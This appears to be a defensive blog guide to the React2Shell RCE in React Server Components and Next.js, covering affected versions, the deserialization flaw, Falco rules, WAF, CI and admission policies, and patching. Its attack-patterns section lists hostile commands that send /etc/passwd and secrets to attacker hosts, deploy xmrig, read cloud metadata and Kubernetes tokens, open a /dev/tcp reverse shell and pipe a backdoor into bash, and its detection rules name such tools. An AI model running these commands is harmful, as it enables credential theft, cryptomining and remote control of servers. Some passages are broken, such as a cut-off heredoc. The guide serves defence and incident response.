React2Shell (CVE-2025-55182): Critical RCE Vulnerability and Policy-Based Defense Strategies

On December 3, 2025, the React ecosystem experienced its Log4Shell moment. React2Shell (CVE-2025-55182) is a critical remote code execution vulnerability with a maximum CVSS score of 10.0, affecting React Server Components and Next.js applications in their default configurations. Within hours of disclosure, nation-state threat actors and opportunistic attackers began mass exploitation. If your organization runs React 19 or Next.js 15+, you're in the blast radius.

This isn't just another CVE to patch—it's a wake-up call for how we approach runtime security, supply chain risk, and policy-based defenses in cloud-native environments. This guide provides a comprehensive technical analysis, real-world exploitation patterns, and policy-as-code strategies to detect, prevent, and respond to React2Shell and similar deserialization vulnerabilities.

📋 Table of Contents

🔥 What is React2Shell and Why Does It Matter?

React2Shell (CVE-2025-55182) is an unsafe deserialization vulnerability in the React Server Components (RSC) "Flight" protocol. Discovered by security researcher Lachlan Davidson and responsibly disclosed to Meta on November 29, 2025, this vulnerability allows unauthenticated remote attackers to execute arbitrary code on servers running React Server Components.

The Vulnerability Landscape

React Server Components represent a fundamental shift in how modern web applications are built. Instead of rendering everything in the browser, RSC allows components to run on the server, reducing the JavaScript bundle size and improving performance. The Flight protocol is the serialization mechanism that enables communication between client and server.

Here's what makes React2Shell uniquely dangerous:

• Default Configuration Vulnerable: A standard Next.js app created with create-next-app is immediately exploitable with zero code changes
• No Authentication Required: The attack vector is completely unauthenticated—any internet-facing endpoint is at risk
• 100% Reliability: Unlike memory corruption bugs, this is a deterministic logic flaw with near-perfect exploitation success rates
• Widespread Adoption: React is used by 82% of developers; Next.js powers millions of production applications
• Exploitable Without Server Functions: Even apps that don't explicitly use React Server Functions are vulnerable if they support React Server Components

Affected Versions

The vulnerability affects the following packages:

# React Server Packages (VULNERABLE)
react-server:
  - 19.0.0
  - 19.1.0, 19.1.1
  - 19.2.0

react-server-dom-webpack:
  - 19.0.0
  - 19.1.0, 19.1.1
  - 19.2.0

react-server-dom-turbopack:
  - 19.0.0
  - 19.1.0, 19.1.1
  - 19.2.0

react-server-dom-parcel:
  - 19.0.0
  - 19.1.0, 19.1.1
  - 19.2.0

# Next.js (VULNERABLE)
Next.js App Router:
  - 15.0.0 through 15.1.5
  - 16.0.0 through 16.0.6
  - 14.3.0-canary.77+ (canary releases)

# Other Affected Frameworks
- React Router
- Waku
- @parcel/rsc
- @vitejs/plugin-rsc
- rwsdk

# Update to these versions IMMEDIATELY
React packages: 19.0.1, 19.1.2, 19.2.1
Next.js: 15.1.6, 16.0.7, 14.2.24

# Check your version
$ next.version  # Run in browser console
$ npm list next  # Check package.json

🔬 Technical Analysis: How the Exploit Works

Understanding React2Shell requires diving into the React Server Components architecture and the Flight protocol's deserialization mechanism. This is a textbook example of how unsafe deserialization can lead to remote code execution.

The React Flight Protocol

React Server Components use the Flight protocol to serialize and transmit component data between server and client. Think of it as an RPC-over-HTTP mechanism where the server sends "chunks" of serialized data representing the component tree. The protocol uses special operators like $@, $B, and $n to encode different data types.

The Deserialization Flaw

When a React server receives an RSC payload, it deserializes these chunks to reconstruct the component tree. The vulnerability exists in how React handles chunks with a "then" method—JavaScript's mechanism for handling Promises.

# Stage 1: Create Self-Reference Loop
# Attacker crafts a payload with chunks that reference each other
chunk[0] = { status: "resolved_model", then:  }
chunk[1] = { reference_to: chunk[0] }

# Stage 2: Trigger Duck-Typing
# React treats anything with a "then" method as a Promise
# This bypasses normal validation checks

# Stage 3: Inject Malicious Data
# The "resolved_model" status tricks React into thinking
# the promise is already fulfilled, skipping validation

# Stage 4: Execute Arbitrary Code
# When React processes chunk[1], it evaluates chunk[0]'s
# "then" method, executing attacker-controlled code

# The payload is sent via multipart/form-data:
POST /_next/data/... HTTP/1.1
Content-Type: multipart/form-data; boundary=----

------
Content-Disposition: form-data; name="$ACTION_REF_0"

["$1:a:a"]  # Crafted chunk reference
------
Content-Disposition: form-data; name="$ACTION_0:0"

{"digest":"..."}  # Malicious payload
------

Why This Works: The Thenable Problem

JavaScript's Promise mechanism relies on "duck typing"—if an object has a then method, JavaScript treats it as a Promise. React Server Components inherit this behavior. The vulnerability exploits this by:

• Forging Lifecycle State: Setting status: "resolved_model" makes React think the data is already validated
• Bypassing Validation: The server skips security checks because it believes the Promise already resolved
• Executing Code Paths: The then method is invoked, executing attacker-controlled JavaScript in the server context
• Gaining Full Control: With arbitrary code execution, attackers can spawn shells, exfiltrate credentials, and move laterally

⚡ Exploitation Timeline: From Disclosure to Mass Attacks

React2Shell's exploitation timeline mirrors Log4Shell—rapid weaponization and immediate mass scanning. Here's how the attack landscape evolved:

Real-World Attack Patterns

Security researchers observed several distinct attack patterns:

# Initial reconnaissance
whoami && hostname && cat /etc/passwd | curl -X POST attacker.com

# Environment enumeration
env | grep -i 'AWS\|KEY\|SECRET\|TOKEN' | base64 | nc attacker.site 443

# Cryptominer deployment
wget http://anywherehost[.]site/xmrig && chmod +x xmrig
nohup ./xmrig -o pool.c3pool.com:13333 -u  &

# Process masquerading
mv xmrig /var/tmp/systemd-devd  # Disguise as system process

# AWS metadata service enumeration
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Kubernetes service account tokens
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Environment variable exfiltration
env | grep -E 'DATABASE_URL|API_KEY|SECRET' | base64

# Reverse shell establishment
bash -i >& /dev/tcp/154.89.152.240/443 0>&1

# PeerBlight Linux backdoor deployment
curl http://attacker[.]site/peerblight | bash

# Cobalt Strike beacon
wget http://c2-server.com/beacon && chmod +x beacon && ./beacon

🔍 Detection Strategies: Runtime Security with Falco

WAF rules provide the first line of defense, but runtime detection is critical for identifying successful exploitation. Falco, the CNCF-graduated runtime security tool, is purpose-built for this scenario.

Why Falco for React2Shell Detection?

Falco operates at the kernel level, monitoring system calls in real-time. It can detect the post-exploitation behavior that occurs after a successful React2Shell attack:

• Process Spawning: Web servers (Node.js) shouldn't spawn shells or execute wget/curl
• Network Connections: Unexpected outbound connections to unknown IPs
• File System Access: Reading /etc/passwd, /proc/, or cloud metadata endpoints
• Privilege Escalation: Attempts to exploit CVE-2021-4034 or other local exploits

# /etc/falco/rules.d/react2shell.yaml

- list: minimal_unix_commands
  items: [ls, cp, mv, rm, mkdir, rmdir, find, touch, cat, less, 
          head, tail, nano, vi, vim, chmod, chown, grep, awk, sed]

- list: shell_binaries
  items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]

- list: node_processes
  items: [node, nodejs, npm, yarn, next-server]

- macro: spawned_process
  condition: >
    (evt.type in (execve, execveat) and 
     evt.dir=< and 
     evt.arg.res=0)

- macro: web_server_process
  condition: >
    (proc.aname in (node_processes) or
     proc.name in (node_processes))

- macro: suspicious_command
  condition: >
    (proc.name in (shell_binaries, minimal_unix_commands) or
     proc.name in (wget, curl, nc, netcat, ncat, socat, python, 
                   python3, perl, ruby, php))

- rule: Detecting React2Shell Remote Code Execution
  desc: >
    Detects exploitation attempts of the React2Shell vulnerability
    (CVE-2025-55182) by identifying suspicious commands spawned by
    Node.js web server processes.
  condition: >
    spawned_process and
    web_server_process and
    suspicious_command and
    not proc.name in (npm, yarn, git, tsc, webpack)
  output: >
    React2Shell exploitation detected 
    (command=%proc.cmdline user=%user.name 
     parent=%proc.pname container=%container.id 
     image=%container.image.repository)
  priority: CRITICAL
  tags: [react2shell, cve_2025_55182, rce, web_exploit]

- rule: React2Shell Reverse Shell Detected
  desc: Detects reverse shell connections from Node.js processes
  condition: >
    spawned_process and
    web_server_process and
    proc.name in (shell_binaries) and
    (fd.sip != "127.0.0.1" and 
     fd.sip != "::1" and
     fd.l4proto=tcp)
  output: >
    Reverse shell from Node.js process 
    (command=%proc.cmdline remote_ip=%fd.sip remote_port=%fd.sport
     container=%container.id image=%container.image.repository)
  priority: CRITICAL
  tags: [react2shell, reverse_shell, c2]

- rule: React2Shell AWS Metadata Access
  desc: Detects attempts to access AWS metadata service
  condition: >
    spawned_process and
    web_server_process and
    (proc.name in (curl, wget) and
     (proc.cmdline contains "169.254.169.254" or
      proc.cmdline contains "metadata" or
      proc.cmdline contains "iam/security-credentials"))
  output: >
    AWS metadata service access from exploited Node.js 
    (command=%proc.cmdline user=%user.name container=%container.id)
  priority: CRITICAL
  tags: [react2shell, credential_theft, aws]

- rule: React2Shell Cryptominer Deployment
  desc: Detects cryptominer deployment after React2Shell exploitation
  condition: >
    spawned_process and
    web_server_process and
    ((proc.cmdline contains "xmrig" or
      proc.cmdline contains "minerd" or
      proc.cmdline contains "pool" or
      proc.cmdline contains "stratum" or
      proc.cmdline contains "donate-level") or
     (proc.name in (wget, curl) and
      proc.cmdline contains ".site"))
  output: >
    Cryptominer deployment detected 
    (command=%proc.cmdline user=%user.name container=%container.id)
  priority: HIGH
  tags: [react2shell, cryptomining, malware]

Deploying Falco in Kubernetes

For organizations running Next.js in Kubernetes, deploy Falco as a DaemonSet:

# Add Falco Helm repository
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update

# Install Falco with custom rules
cat > falco-values.yaml <

# AWS WAF automatically includes React2Shell protection
# in AWSManagedRulesKnownBadInputsRuleSet v1.24+

resource "aws_wafv2_web_acl" "react_protection" {
  name  = "react2shell-protection"
  scope = "REGIONAL"

  default_action {
    allow {}
  }

  rule {
    name     = "AWSManagedRulesKnownBadInputsRuleSet"
    priority = 1

    override_action {
      none {}
    }

    statement {
      managed_rule_group_statement {
        name        = "AWSManagedRulesKnownBadInputsRuleSet"
        vendor_name = "AWS"
      }
    }

    visibility_config {
      cloudwatch_metrics_enabled = true
      metric_name                = "react2shell-blocks"
      sampled_requests_enabled   = true
    }
  }
}

# Cloudflare automatically deployed rules to all accounts
# No configuration needed for basic protection

# .github/workflows/react2shell-scan.yml
name: React2Shell Vulnerability Scan

on:
  pull_request:
    branches: [main, develop]
  push:
    branches: [main]

jobs:
  scan-dependencies:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: '20'
      
      - name: Check for vulnerable React versions
        run: |
          # Extract versions
          NEXT_VERSION=$(node -p "require('./package.json').dependencies.next" | tr -d '^~')
          REACT_VERSION=$(node -p "require('./package.json').dependencies.react" | tr -d '^~')
          
          # Define vulnerable version ranges
          VULNERABLE_NEXT="15.0.0|15.0.1|15.0.2|15.0.3|15.0.4|15.0.5|15.1.0|15.1.1|15.1.2|15.1.3|15.1.4|15.1.5|16.0.0|16.0.1|16.0.2|16.0.3|16.0.4|16.0.5|16.0.6"
          VULNERABLE_REACT="19.0.0|19.1.0|19.1.1|19.2.0"
          
          # Check Next.js
          if echo "$NEXT_VERSION" | grep -E "$VULNERABLE_NEXT"; then
            echo "::error::Vulnerable Next.js version detected: $NEXT_VERSION"
            echo "::error::Update to 15.1.6, 16.0.7, or 14.2.24"
            exit 1
          fi
          
          # Check React
          if echo "$REACT_VERSION" | grep -E "$VULNERABLE_REACT"; then
            echo "::error::Vulnerable React version detected: $REACT_VERSION"
            echo "::error::Update to 19.0.1, 19.1.2, or 19.2.1"
            exit 1
          fi
          
          echo "✅ No vulnerable React/Next.js versions detected"
      
      - name: Run npm audit
        run: |
          npm audit --audit-level=critical
          
      - name: Scanner for React2Shell
        run: |
          # Use AssetsNote scanner
          npx @assetnote/react2shell-scanner https://staging.yourapp.com
          
      - name: Block deployment if vulnerable
        if: failure()
        run: |
          echo "::error::❌ DEPLOYMENT BLOCKED: Vulnerable to CVE-2025-55182"
          exit 1

# constraint-template.yaml
apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: blockreact2shell
spec:
  crd:
    spec:
      names:
        kind: BlockReact2Shell
  targets:
    - target: admission.k8s.gatekeeper.sh
      rego: |
        package blockreact2shell
        
        violation[{"msg": msg}] {
          container := input.review.object.spec.containers[_]
          
          # Check if image uses vulnerable Next.js or React
          vulnerable_next := {
            "15.0.", "15.1.0", "15.1.1", "15.1.2", "15.1.3", 
            "15.1.4", "15.1.5", "16.0.0", "16.0.1", "16.0.2",
            "16.0.3", "16.0.4", "16.0.5", "16.0.6"
          }
          
          vulnerable_react := {
            "19.0.0", "19.1.0", "19.1.1", "19.2.0"
          }
          
          # Extract version from labels or image tags
          version := container.image
          contains(version, v)
          v := vulnerable_next[_]
          
          msg := sprintf(
            "Container image '%s' contains vulnerable Next.js version (CVE-2025-55182). Update to 15.1.6, 16.0.7, or 14.2.24",
            [container.image]
          )
        }

---
# constraint.yaml
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: BlockReact2Shell
metadata:
  name: block-react2shell-deployments
spec:
  match:
    kinds:
      - apiGroups: ["apps", ""]
        kinds: ["Deployment", "StatefulSet", "DaemonSet"]
  parameters: {}

# react2shell-ecs-policy.sentinel
import "tfplan/v2" as tfplan

# Get all ECS task definitions
task_definitions = filter tfplan.resource_changes as _, rc {
  rc.type is "aws_ecs_task_definition" and
  rc.mode is "managed" and
  (rc.change.actions contains "create" or rc.change.actions contains "update")
}

# Check container images for vulnerable versions
vulnerable_images = func(task_def) {
  violations = []
  
  container_defs = json.unmarshal(
    task_def.change.after.container_definitions
  )
  
  for container_defs as container {
    image = container.image
    
    # Check for vulnerable Next.js versions
    if strings.has_prefix(image, "node:") or 
       strings.contains(image, "nextjs") {
      
      # Require scan results in image labels
      if "labels" not in keys(container) {
        append(violations, sprintf(
          "Container %s missing vulnerability scan labels",
          [container.name]
        ))
      } else if "scan.react2shell" not in keys(container.labels) {
        append(violations, sprintf(
          "Container %s not scanned for CVE-2025-55182",
          [container.name]
        ))
      } else if container.labels["scan.react2shell"] is not "passed" {
        append(violations, sprintf(
          "Container %s FAILED React2Shell scan",
          [container.name]
        ))
      }
    }
  }
  
  return violations
}

# Main rule
main = rule {
  all task_definitions as _, td {
    length(vulnerable_images(td)) is 0
  }
}

# opa-response-policy.rego
package react2shell.response

import future.keywords.if

default allow := false
default kill_pod := false
default quarantine := false

# Decision: What action to take on React2Shell detection
allow if {
  # Allow if in non-prod namespace
  input.namespace in ["dev", "staging"]
  not input.priority == "CRITICAL"
}

kill_pod if {
  # Kill pod immediately in production
  input.namespace in ["production", "prod"]
  input.rule in [
    "Detecting React2Shell Remote Code Execution",
    "React2Shell Reverse Shell Detected"
  ]
}

quarantine if {
  # Network isolate for investigation
  input.namespace == "production"
  input.rule == "React2Shell AWS Metadata Access"
}

# Response actions
actions := {
  "allow": allow,
  "kill_pod": kill_pod,
  "quarantine": quarantine,
  "alert_severity": severity,
  "notify_channels": channels
}

severity := "critical" if kill_pod
severity := "high" if quarantine
severity := "medium" if allow

channels := ["slack", "pagerduty", "security-ops"] if kill_pod
channels := ["slack"] if allow

# Option 1: AssetsNote Scanner (Recommended)
git clone https://github.com/assetnote/react2shell-scanner
cd react2shell-scanner
npm install
node scanner.js https://your-app.com

# Option 2: Check package.json versions
find . -name package.json -exec grep -H "\"next\"\|\"react\"" {} \;

# Option 3: Check running containers
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.containers[*].image}{"\n"}' | grep -E "next|node"

# Option 4: Wiz/Snyk/Datadog - Use your cloud security platform

# Next.js - Check in browser console
next.version

# Node.js apps - Check package-lock.json
npm list next react react-server-dom-webpack

# Docker images - Inspect layers
docker inspect your-nextjs-image:tag | jq '.[0].Config.Labels'

# Update package.json
{
  "dependencies": {
    "react": "^19.0.1",  // or 19.1.2, 19.2.1
    "react-dom": "^19.0.1"
  }
}

# Update Next.js
{
  "dependencies": {
    "next": "^15.1.6"  // or 16.0.7, 14.2.24
  }
}

# Install updates
npm install
npm audit fix

# Verify patches applied
npm list react next

# Use Vercel's automated fixer
npx fix-react2shell-next

# Or manually update
npm install next@latest
git add package.json package-lock.json
git commit -m "fix: Update Next.js to patch CVE-2025-55182"

# Rebuild with updated dependencies
docker build -t your-app:patched .

# Tag and push
docker tag your-app:patched registry.example.com/your-app:1.0.1
docker push registry.example.com/your-app:1.0.1

# Update Kubernetes deployments
kubectl set image deployment/your-app \
  app=registry.example.com/your-app:1.0.1 \
  --namespace production

# Verify rollout
kubectl rollout status deployment/your-app -n production

# Vercel - Redeploy via Git push or CLI
vercel --prod

# AWS Lambda / Fargate
sam build
sam deploy --no-confirm-changeset

# Cloudflare Workers / Pages
wrangler publish

# Scan patched deployment
npx @assetnote/react2shell-scanner https://production.yourapp.com

# Expected output:
# ✅ Not vulnerable to CVE-2025-55182

# Check with curl
curl -X POST https://your-app.com/_next/data/... \
  -H "Content-Type: multipart/form-data" \
  -d "..."
  
# Patched versions return 400 Bad Request

# Check WAF logs
aws wafv2 get-sampled-requests \
  --scope REGIONAL \
  --web-acl-id $WEB_ACL_ID \
  --rule-metric-name react2shell-blocks \
  --time-window StartTime=2025-12-13T00:00:00Z,EndTime=2025-12-13T23:59:59Z \
  --max-items 100

# Check Falco alerts
kubectl logs -n falco -l app.kubernetes.io/name=falco | grep -i react2shell

# Review SIEM for indicators
# Search for: HTTP POST to /_next/data, multipart/form-data with $ACTION_REF

# Dependabot configuration (.github/dependabot.yml)
version: 2
updates:
  - package-ecosystem: npm
    directory: "/"
    schedule:
      interval: daily
    open-pull-requests-limit: 10
    
    # Auto-merge security patches
    allow:
      - dependency-type: direct
        update-type: security

# Renovate configuration (renovate.json)
{
  "extends": ["config:base"],
  "vulnerabilityAlerts": {
    "enabled": true,
    "labels": ["security", "critical"]
  },
  "packageRules": [
    {
      "matchPackageNames": ["next", "react"],
      "automerge": true,
      "automergeType": "pr",
      "matchUpdateTypes": ["patch"]
    }
  ]
}

# deny-unsafe-deserialization.rego
package deployment.security

import future.keywords.in

# Known unsafe serialization patterns
unsafe_patterns := [
  "eval(",
  "Function(",
  "new Function",
  "vm.runInContext",
  "vm.runInNewContext",
  "child_process.exec",
  "child_process.spawn"
]

# Scan code for unsafe patterns
deny[msg] {
  some i
  input.files[_].content
  pattern := unsafe_patterns[i]
  contains(input.files[_].content, pattern)
  
  msg := sprintf(
    "Unsafe serialization pattern detected: %s in %s",
    [pattern, input.files[_].path]
  )
}